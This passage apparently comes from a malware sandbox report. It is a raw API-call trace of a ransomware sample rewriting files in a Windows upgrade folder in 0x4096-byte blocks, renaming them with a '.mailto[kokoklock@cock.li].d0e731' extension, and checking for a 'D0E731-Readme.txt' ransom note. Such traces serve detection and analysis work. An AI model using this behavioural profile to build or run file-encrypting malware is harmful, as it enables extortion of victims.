Flags=0x8, Size=0x20) returned 0x347cab0 [0062.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.187] NtQuerySystemTime (in: CurrentTime=0x8d2fc60 | out: CurrentTime=0x8d2fc60*=132121176200863443) returned 0x0 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xdfe3be08 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xd232aa12 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x58e8f33 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x6ff21a0c [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x5917367f [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xb2446f64 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x21798773 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xdedd3bbd [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xdb1aabd8 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x7e86b9d3 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xd8a503d9 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xfc6e17c3 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x67fd7b3d [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xb33a8bd4 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x8134eef0 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xf5b166b9 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x8f39cb1c [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xa38ef1a6 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xbaf104f9 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xac15c320 [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x6dd08d6f [0062.187] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xb5954074 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xf50f1c5e [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xd4187ac9 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x5de1d577 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xd5a36223 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x1bdbaac0 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xacb347f4 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xfcea0e2 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xa73487ce [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0xca1d9ff9 [0062.188] RtlRandom (in: Seed=0x8d2fc6c | out: Seed=0x8d2fc6c) returned 0x64b0d101 [0062.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0062.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdf8 [0062.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0062.198] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9e8) returned 1 [0062.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.198] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.198] ReadFile (in: hFile=0x5d0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.200] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c920 [0062.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c920) returned 1 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c920 [0062.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.201] WriteFile (in: hFile=0x5d0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.201] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0xad932, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.201] ReadFile (in: hFile=0x5d0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.202] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0xad932, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0062.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9c0 [0062.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9c0) returned 1 [0062.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9c0 [0062.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0062.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.203] WriteFile (in: hFile=0x5d0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.203] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x155a32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.203] ReadFile (in: hFile=0x5d0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.204] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x155a32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0062.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9e8 [0062.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9e8) returned 1 [0062.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9e8 [0062.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca10 [0062.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca10) returned 1 [0062.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0062.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8d2fc20, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8d2fc20*=0x4096, lpOverlapped=0x0) returned 1 [0062.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x347c920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8d2fc7c, lpOverlapped=0x0 | out: lpBuffer=0x347c920*, lpNumberOfBytesWritten=0x8d2fc7c*=0x20, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x347c9c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8d2fc7c, lpOverlapped=0x0 | out: lpBuffer=0x347c9c0*, lpNumberOfBytesWritten=0x8d2fc7c*=0x20, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x347c9e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8d2fc7c, lpOverlapped=0x0 | out: lpBuffer=0x347c9e8*, lpNumberOfBytesWritten=0x8d2fc7c*=0x20, lpOverlapped=0x0) returned 1 [0062.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x347cdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x347cdf8*, lpNumberOfBytesWritten=0x8d2fc84*=0x8, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x8d2fc9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x8d2fc9c*, lpNumberOfBytesWritten=0x8d2fc84*=0x4, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8d2fc84*=0x4, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x5d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8d2fc84*=0x6c, lpOverlapped=0x0) returned 1 [0062.206] WriteFile (in: hFile=0x5d0, lpBuffer=0x347cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x347cab0*, lpNumberOfBytesWritten=0x8d2fc84*=0x20, lpOverlapped=0x0) returned 1 [0062.206] WriteFile (in: hFile=0x5d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8d2fc84*=0x4, lpOverlapped=0x0) returned 1 [0062.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdf8) returned 1 [0062.206] CloseHandle (hObject=0x5d0) returned 1 [0062.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e63d8 [0062.890] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" | out: _Dest="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe") returned="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" [0062.890] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" [0062.890] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), lpNewFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.891] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0062.892] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe", dwFileAttributes=0x20) returned 0 [0062.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33cd9d0 [0062.892] wcscpy (in: _Dest=0x33cd9d0, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.892] wcscat (in: _Dest=0x33cd9d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.892] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd9d0) returned 1 [0062.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8738) returned 1 [0062.892] RtlExitUserThread (Status=0x1) Thread: id = 131 os_tid = 0x107c [0062.233] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe")) returned 0x20 [0062.233] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe", dwFileAttributes=0x20) returned 1 [0062.233] CreateFileW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0062.233] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8dafe54 | out: lpFileSize=0x8dafe54*=25288) returned 1 [0062.233] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x62c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.233] ReadFile (in: hFile=0x5cc, lpBuffer=0x8dafe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x8dafe28*, lpNumberOfBytesRead=0x8dafe24*=0x4, lpOverlapped=0x0) returned 1 [0062.235] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0062.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdf8 [0062.235] NtQuerySystemTime (in: CurrentTime=0x8dafe00 | out: CurrentTime=0x8dafe00*=132121176201332379) returned 0x0 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x3e566125 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xeb44d464 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x6652323e [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xefc80542 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xe545b39d [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xe5c16b76 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x904dcc96 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xc4544600 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xd27e4cab [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xb573eba [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x1bf06568 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x13f5d302 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x9e70635c [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xa8328bc7 [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xd1e01ffd [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x6aec27fa [0062.235] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x683d010b [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x205f832c [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xde43391d [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xe893e181 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x88f3c4c5 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xfbe13e0f [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xba2d1d0 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xfbb80b54 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x4d671a2f [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xf295d5bf [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x12356992 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x7a1ccbfb [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0xea1f32e3 [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x52c10caa [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x1f75fe0b [0062.236] RtlRandom (in: Seed=0x8dafe0c | out: Seed=0x8dafe0c) returned 0x1291e1dd [0062.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca10 [0062.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.246] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.246] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8dafdd8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8dafdd8*=0x4096, lpOverlapped=0x0) returned 1 [0062.247] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca88 [0062.247] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca88) returned 1 [0062.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca88 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca88) returned 1 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.248] WriteFile (in: hFile=0x5cc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8dafdd8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8dafdd8*=0x4096, lpOverlapped=0x0) returned 1 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.248] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x62c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.248] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8dafe10, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x8dafe10*=0x20, lpOverlapped=0x0) returned 1 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.248] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.248] WriteFile (in: hFile=0x5cc, lpBuffer=0x347ca60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x347ca60*, lpNumberOfBytesWritten=0x8dafe24*=0x8, lpOverlapped=0x0) returned 1 [0062.249] WriteFile (in: hFile=0x5cc, lpBuffer=0x8dafe3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x8dafe3c*, lpNumberOfBytesWritten=0x8dafe24*=0x4, lpOverlapped=0x0) returned 1 [0062.249] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8dafe24*=0x4, lpOverlapped=0x0) returned 1 [0062.249] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8dafe24*=0x6c, lpOverlapped=0x0) returned 1 [0062.249] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x8dafe24*=0x20, lpOverlapped=0x0) returned 1 [0062.249] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8dafe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8dafe24*=0x4, lpOverlapped=0x0) returned 1 [0062.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0062.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca10) returned 1 [0062.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.249] CloseHandle (hObject=0x5cc) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0062.251] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Windows10Upgrade\\WinREBootApp32.exe" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp32.exe") returned="C:\\Windows10Upgrade\\WinREBootApp32.exe" [0062.251] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" [0062.251] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe"), lpNewFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.251] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0062.252] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe", dwFileAttributes=0x20) returned 0 [0062.252] 